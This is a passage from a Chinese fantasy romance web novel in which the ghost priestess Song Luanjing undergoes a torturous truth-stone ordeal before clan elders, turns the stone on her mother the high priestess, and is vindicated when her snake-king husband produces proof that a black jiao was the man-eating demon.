再用阴蛊粉和那条大青蛇拼个你死我活,我们阴苗族多的是治蛇的阴蛊!” 话说完,几位族老同时噤声,皆是错愕的看向孟老。 阿乞听不下去的扔掉手里一把瓜子,拧眉生气地推了孟老一把,走过来护在我身前,话带讽刺地呛回去: “当初那条灰狐狸来族里闹的时候,也没见你们如此有骨气啊!我鸾镜姐都说了,在柳叶村吃人的怪物不是蛇王大人,你们不信就拿出证据,别听风就是雨!” 孟老被阿乞怼得哑口无言,半晌才不甘心地问阿乞: “大长老,你也信了她的鬼话?!她是在包庇凶手,她是想毁了咱们阴苗族啊……” “放你娘的屁!” 阿乞硬气地打断: “别说镜镜姐说的是实话,这事我从头到尾都一清二楚了,就算我不清楚前因后果,只要镜镜姐说不是那就不是,我绝不质疑!” “大长老,你怎么能偏帮偏信这个女人呢!你这样岂不是寒了我们所有族人的心……”鸡贼的孟老还想拿族人的拥护来威胁阿乞。 我深知阿乞如今在阴苗族还没有站稳脚跟,过度帮衬我肯定会引得宋淑贞及其亲信不满,见到这一幕也不放心的抬手从后握住阿乞肩膀,“阿乞,你别捣乱……” 阿乞不服气地扭肩挣开我,态度坚决道: “你少拿这个幌子来唬我!我告诉你,我不但偏帮偏信镜镜姐,我还认识蛇王大人!是我带人把大祭司带回来的,大祭司身上的伤是不是蛇王留下的,我能不清楚么?” “你、身为阴苗族大长老怎可与青蛇大妖为伍!”孟老抬手,哆嗦着指尖,指着阿乞呵斥,一脸恨铁不成钢的表情。 阿乞蹙眉不乐意地反驳: “得了,现在又没有外人,别演了。我是与青蛇大妖为伍,大祭司与宋花枝不也与灰狐仙为伍吗?大祭司这样急着对青蛇王下手,不就是害怕自己的靠山灰狐仙保不住你们吗?” “我们现在说的是柳叶村遭妖物吃人的事!”宋淑贞脸色难看地沉声道:“少转移话题!” 几位族老都是上了年纪的老人精,听阿乞这么直言不讳地与大祭司正面硬刚,一个个都假装注意力不集中,东看看西看看,不细究什么青蛇王灰狐仙。 齐老自打上回被宋花枝得罪过后,或许是碍于宋花枝神娘娘转世的身份不敢明面得罪,便背地里见缝插针的阴阳怪气: “我倒是觉得大长老所言有道理,毕竟大祭司和圣女是被大长老接回来的嘛!” 殷老今天也让人意外地站在了我们这头: “鬼师娘娘终归是咱们族的阴阳使者,说她会毁了阴苗族实在是夸张了! 我想这里面怕是有什么误会,鬼师娘娘说得对啊,青蛇王有没有出去祸害苍生,鬼师娘娘这个枕边人怎么会毫不知情呢! 那青蛇王从离开封印到现在,族里不一直相安无事吗?况且有鬼师娘娘管束,我相信青蛇王不会无缘无故对咱们的族人下手的。” “老殷,你怎么总爱和人唱反调呢!” 孟老咬牙切齿地争辩道: “就算这次吃人的不是青蛇王,你能保证青蛇王以后不会发疯吃人吗?青蛇大妖那可是三百年前祸乱苗域的怪物!若非娘娘庙从天而降压住了他,咱们阴苗族恐怕早就绝后了!” 殷老不好意思地笑笑,弱弱道:“那不是还有圣女吗?圣女可是神娘娘转世,还怕一条青蛇大妖吗?” 孟老语塞:“你!” 久不做声的王老见我们双方争执不下,瞅准合适时机出来打圆场: “既然、大长老和鬼师娘娘各执一词,我们诸位族老也都意见不统一,那不如这样,还请鬼师娘娘,发下明心咒,再用我族圣物认心石验证一番。 若鬼师娘娘能扛下认心石的检验,那我们就相信鬼师娘娘说的都是真的,柳叶村妖物吃人之事,也自然与青蛇大妖无关!” 认心石…… 终于进入正题了吗? 这么大费周章请我过来再和我浪费口舌争论这么久,就是为了引出认心石吧! 我抬眸对上宋淑贞阴冷怨毒的眼神,不屑地勾唇笑笑。 这就是她想出来的,不让我好过的法子。 今天要审判的也根本不是青漓,而是我。 阿乞怔了怔,随即反应强烈道:“认心石?!那东西你们要拿来给镜镜姐用?不行,我不同意!” 齐老亦为难皱眉:“不可,认心石那东西根本就不是能用来对付自己人的!” 殷老一改先前怯懦怂包的模样,挺直腰杆厉声喝道: “老王,你这出的是什么馊主意!以往只有背叛族落或不忠不洁的女人才会被押到祖祠用认心石逼供,你竟敢提议让鬼师娘娘用认心石! 你到底是何居心!那认心石是能检验事实的东西吗?那分明是严刑拷打的刑具!” 孟老第一个冲出来否认: “殷老你这说的是什么话?什么刑具,干嘛说得那么难听,它只是个检验真心的媒介罢了! 现在的情况,是整个柳叶村包括大祭司,都一致指认青蛇大妖就是祸乱阴苗族,为害柳叶村,闹得族里人心惶惶的罪魁祸首。 我们证人多,鬼师娘娘这边的证人,应该只有鬼师与大长老吧,鬼师娘娘既然坚持声称吃人的不是青蛇大妖,那于情于理,都该拿出有力证据来反驳! 但我看鬼师娘娘如今这样子,也不像是有证据,没有证据还想让我们所有人信服,那就只能借助认心石了!” 王老捋着花白的胡子赞同点头: “没错,认心石检验事实的原理虽然简单粗暴了点,但却足以令我族所有子民信服。 鬼师娘娘,不是老朽不给你面子,而是你若想替青蛇王证明清白,眼下就只有这一个途径。 被认心石检验的过程里虽然会很痛苦,但我相信,以你对青蛇王的感情之深,你是能克服这些困难的。” “不行!” 阿乞紧张地张开双臂护在我跟前,坚决拒绝: “从前被认心石折磨过的人就没有活过三天的!而且只有原本便有罪的人,才会被押来按在认心石上,取口供也从不是为了自证清白,而是为了方便你们收集罪证,好顺理成章地处死她! 你们不但想害镜镜姐,你们还光明正大地羞辱她!我是族中大长老,今天我不同意看谁敢强迫我姐姐发什么明心咒!” “大长老,你还年轻,资质尚浅,今天的事你就不要瞎掺和了。” 王老压根不把阿乞放在眼中,装得公正无私,正人君子: “鬼师娘娘的体质肯定不同于普通族人,即便用了认心石,鬼师娘娘也不会有性命之危。 老朽只是觉得眼下就仅有这一个法子,鬼师娘娘既想辩清白,用认心石是最简单最快速的法子,何探存心羞辱。” 孟老在一旁讥笑着煽风点火:“鬼师娘娘,不会不敢吧!” 殷老不悦骂道:“孟三儿!你少在这挑事!阴苗族用认心石对付鬼师,这传出去也不怕被人笑话!” 齐老轻闭双眼没说话,但却用胳膊肘撞了下旁边的郑老,郑老一抖,随后赶紧道:“我也觉得这法子不妥……” 孟老的队友们自然不甘示弱:“如何不妥了,王老说的也没错啊,鬼师娘娘若是问心无愧,受点苦过了认心石检验这一关,不就没事了嘛!” “我们能理解鬼师娘娘还是个小姑娘,会害怕,但是鬼师娘娘放心,您是鬼师,死不了。” “今日鬼师娘娘若是不敢用认心石检验,我们倒是不得不怀疑,鬼师娘娘之前说的,是不是都是假的……鬼师娘娘,会不会早就知道青蛇王吃人的事,是记恨我们从前多次逼迫她,才故意报复……” “你们胡说八道!”阿乞气鼓鼓的要与人吵架,我赶紧一把握住阿乞的肩,拍了拍他的肩头,无声安抚。 看来今天,宋淑贞是一定要我用认心石受点罪了…… 我内心平静地昂头问对面的宋淑贞与族老们: “是不是我发下明心咒,接受了认心石的检验,就能证明事实的确如我所说,彻底洗去青蛇王害人吃人的嫌疑?” 王老一本正经:“当然!” “那我用!”我一口答应下来。 阿乞霎时被吓白了脸,扭头慌张地阻拦我:“镜镜姐……” 我捏了捏他的肩膀,打断他想说的话:“没事,听我的。” 阿乞哽住。 我从容不迫地抬手,用食指与中指在虚空中写下誓言: “我宋鸾镜今日在此发下明心大誓,柳叶村妖物吃人一事,与山内青蛇大妖无关,我丈夫青蛇王青漓从未伤害过族内任何人。 且,三百年前,他从未祸乱苗域,从未伤人无数,族中传闻,皆是谣言,我今日所言若有半字为虚,便叫五雷轰顶,认心石震碎心脉而亡!” 亲眼目睹我立下誓言,宋淑贞眼底总算闪现出一抹快感。 但没等她多痛快几秒,我就手一挥,当着她与各位族老的面,将虚空中的金色誓言送去了祖祠外,令其悬浮在阴苗族上空,确保每个阴苗族人都能看得一清二楚。 王老愣住,错愕不已:“这……” 我稳重地抿唇一笑,和气回答他: “对不起诸位,鉴于诸位之前的行径,我现在对诸位完全没有信任值。 为了避免诸位日后串通一气不承认我通过了认心石的检验,大家发生没必要的摩擦,今日,我只好请阴苗族所有族人共同见证了。 诸位族老,应该没有异议吧!” 王老与孟老脸色难看地相视一眼,孟老咬紧后槽牙,别过头:“没有!” 王老也不大高兴地恭敬抬手,给我引路,“鬼师娘娘,请吧!” 几位族老往左右两侧一分,露出背后被他们身影遮挡的认心石…… 认心石早早被红木托盘端放在供桌上,王老伸手扯掉石头上的红布,一块半米高,通体红褐色的灵石便显现于众人眼前。 呵,连认心石都准备好了。 这是专门为我设下的鸿门宴啊! 不过也好,宋淑贞想出这口恶气,我躲过一次,还会有下一回。 倒不如趁着认心石在,彻底洗去青漓身上的所有嫌疑…… 毕竟,他是实打实的青蛇大妖,只要他留在阴苗族,族人们就会将他视为隐形威胁。 这次族人们怀疑他是吃人的怪物,下次如果再发生什么妖物乱折腾的事,青漓还会是第一怀疑对象。 趁这次,把一切后患都给解决了,免得往后扯皮! “镜镜姐……”阿乞不放心地拉住我袖子。 我拍拍阿乞的手背,用眼神示意他没事。 抽回袖摆,我走到认心石前,毅然将手按在了褐红灵石上…… 可我终究还是低估了认心石的威力。 手刚按在石头上,便有一股电流渗进我的掌心,沿着我手臂窜进我的身体,直逼我的心脏。 震得我心口猛一剧痛,神魂差点被逼出肉体。 两滴血顺着眼角溢了出来…… 第124章 宋鸾镜,你这个弒母的畜生! 灵石上光芒遽现,一道赤光直冲天际,贯穿屋顶。 祖祠上方天空顷刻风卷云涌,大片乌云形成云烟翻滚如浪的无底旋涡,似巨物的血盆大口,眨眼就要从天上侵吞而下—— 我艰难将涌上喉头的灼热用力吞咽回腹中,染血的喉咙一时刺痛无比,咽血的动作好似在咽刀片,刮得整条食道都阵阵炙痛…… 灵石的力量电麻了我的手臂,不过三分钟,就将我的掌心电击得没了知觉。 而人的手一旦接触到认心石,就会被认心石强行吸贴在石头上……没有大祭司手中的乌灵木,谁都休想与认心石分开。 “镜镜姐!”阿乞害怕地盯着我,不敢分神错过我的每一次敛眉。 右手悄然摸向后腰,应该是替我留了后手…… 我只被认心石放射雷电贯穿身体九次,就已经不堪其折磨的双腿发软,脑子里嗡嗡作响,眼前阵阵发黑,双目与双耳都溢出了滚烫血珠…… 挨过第十击,王老才不紧不慢地捋胡子正色发问: “宋鸾镜,你到底知不知道青蛇大妖在柳叶村滥杀无辜之事?吃人的妖物,是不是青蛇大妖!你暴毙私藏青蛇大妖,到底是什么目的?你有没有想过,报复阴苗族!” 哈,原来他们想知道的是这些啊! 看来,这些族老与宋淑贞是害怕我成了鬼师大权在握,同他们算之前坑害我的账啊! 我刚要强压体内剧痛张口回答,又一道雷电从认心石内放射出来,这一回,表面看着与之前那几道雷电没什么区别,可劈入我体内却威力骤然强上几百倍,瞬间就电穿了我的五脏六腑。 且这次雷,还是持续放电,根本不打算给我喘息的机会,更不肯给我张嘴的可能! 我痛苦的身子一软瘫靠在供桌上,五脏六腑都似被烈火灼烧着,张了张嘴,却拼尽全力也发不出一个字音。 目光扫见宋淑贞紧攥乌灵木权杖的那只手上有法术残痕,我呛了口血,顿时全都明白了! 掌中艰难蓄起身上的法力,我暗中用阴阳鬼术抵抗认心石的攻击。 怪不得用过认心石的人都活不了几天…… 认心石的雷电会烧坏人的五脏六腑。 连我这个鬼师都被认心石损了心肺,何况是没有法力护身的普通人了。 什么明心咒认心石,说白了就是趁人在被认心石雷电击得垮掉意志,失去意识时,再由旁人在耳边审问。 届时得到的答案无论是受不了酷刑说出了真相,还是被折磨得撑不住了,求生欲驱使她认下污名好得到一线生机,只要她肯开口,她的话都会被当做事实、真话…… 然后这些人,就能自诩公平正义,顺理成章地定她罪,除掉她。 阿乞他们没说错,认心石,就是屈打成招! 且这数百年来,阴苗族根本没有人能在经历过认心石检验后,还咬定自己清白的…… 认心石每一次,都能令这些族老与大祭司,得到他们想听的结果! 宋淑贞故意在此时加大认心石的威力,就是不想让我开口回答。 只要我张不开嘴,我之前的那些话,就都会被视为狡辩、谎言! 呵,她这辈子的心眼子,怕是都用在我这个杂种的身上了吧! “镜镜姐……”阿乞看不下去地要冲过来护我,可却被殷老出手抓住了胳膊,沉着脸拦住…… 王老眯了眯浑浊的老眼,见我被雷电击得摇摇欲坠喘不过来气,颇为满意地捋胡子,沉声再问: “宋鸾镜!我且问你,你知不知道你家那条大青蛇在柳叶村滥杀无辜?他去柳叶村吃人,是不是你指使的!你将他留在身边,是不是为了报复我们阴苗族!宋鸾镜,回答我!” 我上气不接下气满头是汗地抬眼望向他,果然,在我准备回答之前,宋淑贞又暗中施法加大了认心石的攻击力。 只不过这次,我也使出了浑身的力量用法术强压住认心石内的电流窜动,头晕目眩地颤着声,咬牙一字一句拼命冲他们喊道:“在柳叶村吃人的妖物,不是我家青蛇王!” 而话说一半,更强的电流就将我劈得膝上一软,扑通一声跪倒在地。 “姐姐!” 我伏在桌案上,双手撑着桌面双腿发颤地艰难爬起来,被宋淑贞消磨尽了耐心,恼怒的哑声说完后面半句话: “我丈夫青蛇王,从未伤人!青漓没杀过人!三百年前也没祸乱苗域,没有吃人,青漓即便是蛇仙,也是个好蛇仙,传闻都是谣言都是假的! 他从前不会伤人,现在不会伤人,以后更不会!我与他,都没有想过报复阴苗族,如何,够了吗!” 几位族老也未想到我竟在这种时候还能坚持之前的说法不翻供,王老亦是不爽地顿住揪胡子动作,久久沉默不语。 而在他们走神这半分钟时间内,我掌中的法力与认心石的力量抗衡过激,已经将认心石撑裂了一道小缝隙…… 但,认心石现在还不能毁! 我痛得大汗淋漓,艰难昂头,毅然对上宋淑贞的阴狠眉眼,咬紧牙关反逼问一句: “我敢在认心石前发明心咒,敢在列祖列宗的牌位前起誓,我家青蛇王不是青蛇大妖,不是阴苗族的祸患,不会伤害我们阴苗族任何人。 我与我家青蛇王,没有报复阴苗族之心,我宋鸾镜从未对不起自己的半身圣女气运,与青蛇王结为夫妻,将青蛇王留在身畔,是因为我们心意相通。 我就是喜欢他,我把他当丈夫我想和他组建家庭,我更是从未对不起自己鬼师娘娘的身份! 大祭司,你呢,你敢在列祖列宗面前发誓,你从未利用大祭司身份之便,行偏颇害人之事? 你敢在认心石前发明心咒,对天起誓说你从未因一己之私戕害同族? 你敢对着天地神明保证,你屡屡冤枉污蔑我,都不是故意的? 你敢说,你没有纵容过灰狐仙害人?你敢说,宋花枝真的是神娘娘转世吗!” 我义愤填膺地吼完这段话,诸位族老的目光立时齐刷刷朝宋淑贞投了去…… 因着我将自己在祖祠内发下明心咒的事通告全族,现在祖祠外已经悄无声息地聚集了不少赶过来凑热闹吃瓜的族人。 “我、” 宋淑贞心虚地不敢开口,本想拒不回应,可目光掠过一脸迷茫的诸位族老,再落在祖祠门外满脸期待的族人们身上,宋淑贞被逼得无路可退,只能握着乌灵木权杖硬着头皮脸色难看地回应道: “本祭司有什么不敢的,本祭司……自继任大祭司之日起,到如今,从未因私欲而伤害过同族……本祭司没有污蔑冤枉你,都是你自找的。” 她的声音越来越小,说至最后,想把最关键的那两个问题略过去…… 我逮着她不放地追问:“那灰狐仙呢,你没有故意放纵他在族内伤人吗?” 宋淑贞青着脸,嘴硬道:“本祭司、没有……” “宋花枝真的是神娘娘转世吗!” “当然!是不是神娘娘转世本祭司难道还不清楚……” 可惜我没给她撒完谎的机会,忽然把手从认心石上拔起来,石头粘着掌心皮肉,而我,咬紧牙关心下一横,活生生撕掉自己手掌一层皮肉! 为的,就是趁她不备抓住她的手,请她也来体验一下被认心石攻击折磨的滋味! 血肉模糊的五根手指陡然攥住她的手腕,我用力一扯,下一秒,她的手就按在了被她亲自加大威力的认心石上—— “阿乞!”我满头大汗淋漓地嘶声喊人。 阿乞当即猜中我的意思,配合默契地赶在宋淑贞人还未反应过来前,抢走了她手里的乌灵木权杖…… 电光瞬间窜遍她全身,顷刻间,她这位大祭司的惨叫声就凄厉回荡在整座庄严清冷的祖祠内—— 啧,我被认心石折磨好歹有个循序渐进的阶段,她一上来就体验最强的雷电攻击……我现在已经被劈麻了,而她现在、才刚开始刺激! 不过,也怪她自己,自作自受! 不晓得为何,她好像比我还废,才短暂十来秒,她就已经被认心石劈得里嫩外焦,头发都炸成鸡窝了。 我被劈了这么久,好歹发型还没乱啊! “你这个疯子!你干什么!”她总算也体验到说话都费劲的滋味了,面色死白,发了疯地想把手从认心石上拔下来…… 奈何,她没我狠。 我敢为了脱身,活活扯掉自己一层手皮。 她敢吗? 我趁她被认心石上的雷电劈得几近疯狂,果断抬起血淋淋手,将她另一只胡乱挥舞的爪子也按在了石头上…… 这下可好,她面无血色目露惊恐地愣了下,之后,惨叫的更加厉害了。 银色电光在她身体上疯狂上下流窜,她的头发里冒着烟,双臂上原本白皙如玉的皮肤,这会子被灼烧得似烤焦的锅巴…… 我好像,都闻到她身上的肉香味了…… “啊——你这个贱人!宋鸾镜!” “你这个弒母的畜生!本祭司要杀了你,杀了你!” “宋鸾镜——” 看着她被折磨得发狂,我连体内的疼痛都快感受不到了。 开怀的咧嘴笑了笑,我呛出一口血沫子,故意挑眉开口气死她:“大祭司、母亲……你错就错在,二十多年前,没有直接一菜刀砍死我!” “大祭司,只要我活着,我就是你唯一的噩梦!” “往后别再自称是我母亲了,你先不要我的,你都不承认我是你女儿,我凭什么还认你做母亲?杀我的时候口口声声孽障祸害,栽倒在我手中的时候一口一个弒母!” “做我母亲,你也配?!” 最后一个字音落,我喷了她一脸血水。 虽然五脏六腑被雷电灼烧的剧痛不止,但心底,实在畅快! 看她吃瘪,爽! 今天这通雷劈,值了! 祖祠内的族老们见状皆是乱了阵脚,不知所措急得在原地打转—— “大祭司!” “怎、怎么办啊……” “鬼师娘娘,大祭司纵有万般错,她也是你生身母亲,你你你、你手下留情啊!” “哎呦大长老,你快用权杖把认心石收了吧!” “是啊大长老,你这样抱着权杖……认心石劈的又不止大祭司一人,鬼师娘娘也要受苦啊……” “大长老你听话,快快救下鬼师娘娘和大祭司吧,就当老朽求你了……” 祖祠外众人喧哗惊呼,祖祠内族老们乱成了一锅粥。 阿乞抱着乌灵木权杖坚决不撒手,族老们想来解救宋淑贞,但看着宋淑贞满身乱窜的电流……又瑟缩着后退不敢接近。 只能像热锅上的蚂蚁,在原地乱徘徊。 我见宋淑贞头顶都被劈冒烟了,卡准时机凝声质问:“说!你为什么一而再再而三地和我过不去!” 趁她被劈得神志不清,我又火上浇油朝她洒了把真言蛊。 她立时双目浑浊,木讷昂头,无意识地回答:“因为,我恨你,当年没能打掉你……现在我看见你,就想起你那个恶心的父亲!” 我又问:“在柳叶村和你交手的妖物,真是蛇仙吗?!” 她摇头,“不是,是一条黑蛟。” “那你为什么要诬陷青蛇王!” “我、想除掉他、除不掉,也要赶走他……他在你身边一日,就会是我最大的阻碍……当然,我还想,借机对你发难,让你吃点苦头。” “你有没有纵容灰狐仙伤害族人?!” “有……但我们的目的,是一致的,所以,我没有阻止。” “宋花枝,是不是神娘娘转世?” 第125章 紫蛇:我扮女人有瘾! 问到这个问题,诸位族老与众族人亦是瞬间安静下来,屏气凝神,激动等待宋淑贞的答案…… “她不……” 可惜,关键时刻她忽然双眼恢复神色,陡然清醒了过来。 应该是她的潜意识在反抗回答这个问题,这才扛住了真言蛊的巫力。 “宋鸾镜!本祭司要杀了你!”她回神后便继续对我破口大骂。 我拧眉于心中暗暗惋惜。 不过无妨,想要的答案,已经得到了。 阿乞瞅准时机用乌灵木权杖收了认心石的灵力,我与宋淑贞这才同时被认心石弹撞开。 认心石上直冲云霄的那道赤光陡然消散。 宋淑贞被认心石劈得狼狈不已,回过神来,面上挂不住的抬手便用巫力夺回了被阿乞护在怀里的乌灵木权杖。 双目赤红的瞪着我恼羞成怒:“宋鸾镜,我要你死!” 说着,扬起手里乌灵木权杖就朝我脑袋挥过来—— 只奈何这次不等我出手应对,就有一道青色灵光先我一步霸气撞飞了宋淑贞手中权杖…… 乌灵木权杖被震得脱离宋淑贞右手,于空中连翻三个跟头后,杖尾钉在了祖祠正堂悬挂了历任大祭司画像的墙头上,万古流芳金匾额下—— 门外的村民们被吓得失声尖叫。 我尚未反应过来是怎么回事,就有一条强健手臂箍住我腰肢,猛地一捞,将我带入了那个熟悉且萦着莲花温香的踏实怀抱。 诧异抬头,才发现周身拢着幽青灵泽、银发古袍的年轻蛇王突然出现在我身边,此刻正心疼的垂眸凝望着我,箍在我腰上的手臂越收越紧。 我如释重负地舒口气,他总算回来了,再不回来我还得和宋淑贞继续打! “青、青蛇王!” “青蛇大妖!” “救、救命……” “呃,跑什么,这不是还有鬼师娘娘在吗。” “哦对,鬼师娘娘也在这……青蛇大妖是来保护鬼师娘娘的……” “还好还好,咱们今天只是站在门口看热闹,可没跟着大祭司为难鬼师娘娘啊!” 外面的村民们忙着撇清关系,祖祠里的族老们却做贼心虚的原地抖了起来—— 其中最紧张的,莫过于方才给宋淑贞做嘴替的孟老。 “青、青蛇王!大、大妖……大长老,救命啊!”孟老丢人现眼地直往阿乞身后躲。 齐老惶恐地揣着袖子往殷老身边挤。 余下的族老们个个脸色煞白,被青漓吓得一动不敢动。 王老那个假正经这会子也认了怂,变脸比翻书还快,识时务的立马冲青漓恭敬扣袖一拜,厚着脸皮讨好: “见过蛇王大人,敢问蛇王大人突然驾临,可是有什么要紧事……方才的误会,鬼师娘娘已经解释清楚了,是我们老糊涂,冒犯了蛇王大人,还望蛇王大人勿怪。” 听听,这说的是人话吗! 有本事在青蛇王面前也拿出之前对付我的那股子嚣张劲啊! 宋淑贞见青漓亲自出面给我撑腰,警惕地后退两步,目露怯意。 青漓温柔执起我血肉模糊的右手,看着我掌中的伤势,不悦皱眉。 “本尊今日前来,是自证清白的!” 言罢,袖袍一挥,朝几位族老扔去一样似树杈的重物。 东西咣当一声砸在黑砖地板上,几位族老与我,这才看清青漓扔过去的东西到底是什么玩意…… 原来,是一对蛟龙的龙角。 青漓抬手揽住我的肩膀,把我严严实实护在怀里,冷冷启唇:“这几日,柳叶村妖物吃人事件,都是这条黑蛟闹出来的!如今,本尊已断了他的龙角废了他的修为,他仓皇逃出阴苗族,不会再回来了。” “黑、黑蛟……”孟老不可思议地喃喃重复。 忽有一名五十来岁的男性族人从祖祠门外的人群后挤进来,小跑到宋淑贞与各位族老跟前,二话没说就朝青漓跪倒磕头,感激涕零,哭着给青漓作证: “我是柳叶村的村长,吴江南,我证明,前几天在村子里闹事的妖怪确实是条黑蛟,我们所有人都错怪青蛇王大人了! 那天夜里,我们之所以看见青蛇王出现在妖物吃人的现场,是因为青蛇王在替我们驱逐那条黑蛟! 要不是青蛇王,我们柳叶村早就在劫难逃,被妖物吃灭绝了啊! 今天早上,我亲眼看见那条恶蛟闯进我家院子里,差一点就吃了我的老婆和女儿,是青蛇王及时出现从恶蛟的血盆大口里救下了我的老婆与孩子,后来青蛇王与恶蛟在村里打了起来,我们村所有人都看见了! 要不是蛇王大人不计前嫌的大度相救,我吴江南现在已经家破人亡,说不定自个儿也早就沦为了恶蛟的盘中餐! 族老们,大祭司,乡亲们,青蛇王是我们柳叶村的恩人,我们柳叶村所有人都可以给青蛇王作证! 是我们愚蠢误会了青蛇王,青蛇王大人是听从鬼师娘娘的安排,在我们柳叶村出事后来解救我们柳叶村的,可我们却听信谣言没弄清真相就往青蛇王大人身上泼脏水,是我们的错! 还请蛇王大人原谅我们的无知!” 听从我的安排? 我抽了抽嘴角,他倒是会找理由。 这回有了柳叶村村长做人证,蛟龙的龙角做物证,足以证明青漓的清白。 那宋淑贞先前言之凿凿声称自己与吃人妖物交过手,亲眼见到妖物就是一条青蛇,如今在场所有人应该都能反应过来,她就是在蓄意污蔑…… 身为阖族领袖,整个族落说话本应最权威的大祭司,现在竟三番五次为了私怨冤枉他人,一再降低自己在族民心目中的信任值,往后她管理阴苗族,怕是免不得会遭到族人们的质疑喽…… “青蛇大妖没有吃人,是在救人……” “鬼师娘娘之前不就说了吗,青蛇大妖从未伤害过任何人,族里关于三百年前青蛇祸世的传说,也是谣言!” “可他到底是妖啊……” “嗳,你这就格局小了。 咱们阴苗族世代居于九黎山下,没有少与九黎山内的妖物打交道,也没少受族中野仙的侵扰! 以往有野仙向咱们索要贡品,或者女人,咱们都只能被迫低头,满足那些野仙的所有要求。 包括那只灰狐大仙!我奶奶刚成年那会子,他就来族里索要过新娘。 虽说上上任大祭司用华桑大帝吓退过他,可后来不还是受不了他时不时的骚扰,隔三岔五跑出来祸害人,被迫同他妥协,在族里挑了个漂亮女孩送给他了吗? 被送去山上狐狸洞的那个女孩,就是我奶奶的小妹。 据说,送过去当晚就被灰狐大仙给折磨死了,我那小姨奶奶死后,衣不蔽体的尸体还被灰狐大仙给扔回了族里,丢在了我太外公的家门口…… 山里这些野仙没少欺负咱们阴苗族,从前咱们没有足够强大的力量反抗,现在好了啊! 有蛇王大人在,蛇王大人可是九黎山一带的妖王,蛇王大人没有害人的意思,还帮助咱们阴苗族赶跑吃人的恶蛟。 如果咱们现在悬崖勒马,在族里供奉蛇王大人,蛇王大人若肯留在咱们阴苗族,咱们以后就再也不用惧怕被野仙们祸害骚扰了! 而且蛇王大人现在和咱们的鬼师娘娘成婚了,这是好事啊! 蛇王大人是妖,但他也是统领九黎山一带所有精怪野仙的蛇王! 有蛇王给咱们撑腰,以后看谁还敢不长眼来冒犯咱们阴苗族!” 族里三十来岁的青年有理有据地说完这些,剩下村民们立马全都明白过来,纷纷赞同青年的说法—— “对啊!蛇王在咱们族,咱们以后还怕什么野仙精怪!” “鬼师娘娘和蛇王联手,肯定能保咱们阴苗族风调雨顺,岁岁太平!” “鬼师娘娘都通过认心石的检验了,蛇王大人肯定是好妖。” “蛇王大人现在可是咱们阴苗族的女婿,咱们以后遇见什么困难,蛇王大人肯定会出手相救……” “有道理啊,妖王都在咱们族,咱们还怕什么妖!” 我愣在青漓的怀里,事情的发展方向,怎么有点崩乱…… 他们接受青漓的速度,也忒快了些吧? 这样显得我比青漓这个传说中祸乱苗域,害阴苗族血流成河的青蛇大妖还罪孽深重不可饶恕…… 毕竟,若非我如今继任鬼师一职,阴苗族这些人对我的身份心怀忌惮,还得不依不饶地追着我杀。 眼见着村里的族人们都接纳青漓了,齐老这个精明老头率先表明立场: “既然明心咒发了,认心石也验了,还有吴村长亲自作证,那足以证明鬼师娘娘所言不虚,字字属实。 蛇王大人这次救了整个柳叶村,足见蛇王大人对我阴苗族没有恶意,我族不是没有鬼师娘娘嫁仙家的前例。 今日,我齐志恒在这表态,蛇王大人以后便是我们阴苗族的自己人,我本人绝不再对蛇王大人有偏见! 老朽,也祝福鬼师娘娘与蛇王大人,夫妻恩爱,幸福美满!” 殷老跟着道:“老朽从头到尾都没有怀疑过蛇王大人,以后,老朽也会依旧相信鬼师娘娘,相信蛇王大人。” 后面几位没什么话语权的族老见状赶忙附和,不敢得罪:“我们、也不再对蛇王大人有偏见,不再无凭无据怀疑蛇王大人,我们愿意接受蛇王大人。” “蛇王大人没有害过人,还救下了整个柳叶村,我们对蛇王大人感激不尽!” “对对对,感激不尽!” 轮到孟老和王老了,孟老怯懦地哽了哽,低头认命:“我也、向蛇王大人道歉,我愿意接受蛇王大人……” 王老这个人精向来最懂见风使舵,装得公正无私,捋着胡子含笑哄青漓开心:“蛇王大人大义,老朽自愧不如,羞愧不已啊!” 最后只剩脸色难看的大祭司没有表态,但,如今这局面,她表不表态都不重要了。 我腿脚发软地一把抓住青漓胳膊,借他来稳住自己的重心,冷眼扫过在场所有人,不愿给他们好脸: “但愿诸位能牢记今天所说的话!以后,不许再造谣青漓三百年前祸乱苗域,吃人无数了! 还望各位,下次再碰上什么吃人的妖怪,勿要不分青红皂白就把这口黑锅甩在我丈夫的头上! 我宋鸾镜虽然是阴苗族的鬼师,但我不欠阴苗族的!阴苗族容不下我们,我们也不是非阴苗族不可!” 祖祠外的村民们心虚地缩了缩脖子不敢直视我,我懒得再和族老们废话,拽着青漓一瘸一拐地离开了月阴村祠堂。 这条青蛇,怎么不再来晚点呢! 再晚我就要被劈成人肉串了! 离开祖祠,没走多远,山路右侧田坎里就一溜烟跑出一条大紫蛇,陡然拦在了我的前路上。 暗紫色菱形花纹的粗壮蛇身吓我一大跳! 给我密集恐惧症都吓犯了…… “终于出来了,要我说,帝君你就上去啪啪给那些人一人两嘴巴子,他们自然就老实了,还大费周章的亲自跑去解释做什么,他们也配?!” 说话间,紫色大花蛇已经一缕紫烟化成了娇俏女子的形态。 我步子一顿,看着他这副男扮女装的打扮,有点头疼:“你怎么还保持着女人的模样……” 紫蛇挑起胸前一缕乌黑青丝绕在指尖玩,厚着脸皮嘿嘿一笑: “多年不穿女装,有点上瘾。哎,不要在意这些细节!我就算打扮成女人也不会和你抢老公的,你放心,我口味没这么重!” 我:“……” 他垂下暗紫美眸,视线落在我还滴着血的右掌上,啧啧感叹了一句: “你是个狠人啊!生生扯掉自己一层手掌,呀看得我都幻痛了!还好我不是真女人,不然被你记仇,你不得找机会弄死我啊……” 伸手想来碰我的手,但又怕弄疼我,只能不知所措地关心问道: “妹子啊,你疼吗?这肉都被扯得乱七八糟……哎呀!伤成这样,回去都不好上药!这要是一瓶生肉水倒上去,你不得疼死啊!” 转头难受的嗔怪青漓: “哎呀帝君啊!你看妹子都被伤成这样了,你得给她出气报仇啊!都怪你,到现在还没哄好妹子,要你何用!我的妹子啊,你可真是遭老罪了!” 我抬起受伤的手掌,看了眼,淡淡道:“蛇王大人已经用法术给我止痛了,我现在右手没知觉,问题不大。” 青漓小心翼翼托住我的手背,疼惜皱眉:“阿鸾,你受苦了……” 我赌气别过头,冷漠道: “如果你早点告诉我柳叶村的事,我就能提前准备证据,不必受这些罪了。” 第126章 紫蛇他有那种癖好…… “阿鸾……” 青漓哽了哽,自责低头,歉意道: “是本尊不好,本尊、一定补偿阿鸾。” 我不领情的冷脸拒绝: “补偿就算了,我只求,蛇王大人以后、放过我。” “阿鸾。” 他眼底划过一丝惊慌,不等我挣扎离开他,将他甩了,他就未雨绸缪的先收紧揽在我腰上的手臂,低声下气地示弱:“夫人,说好的,不会不要我。” 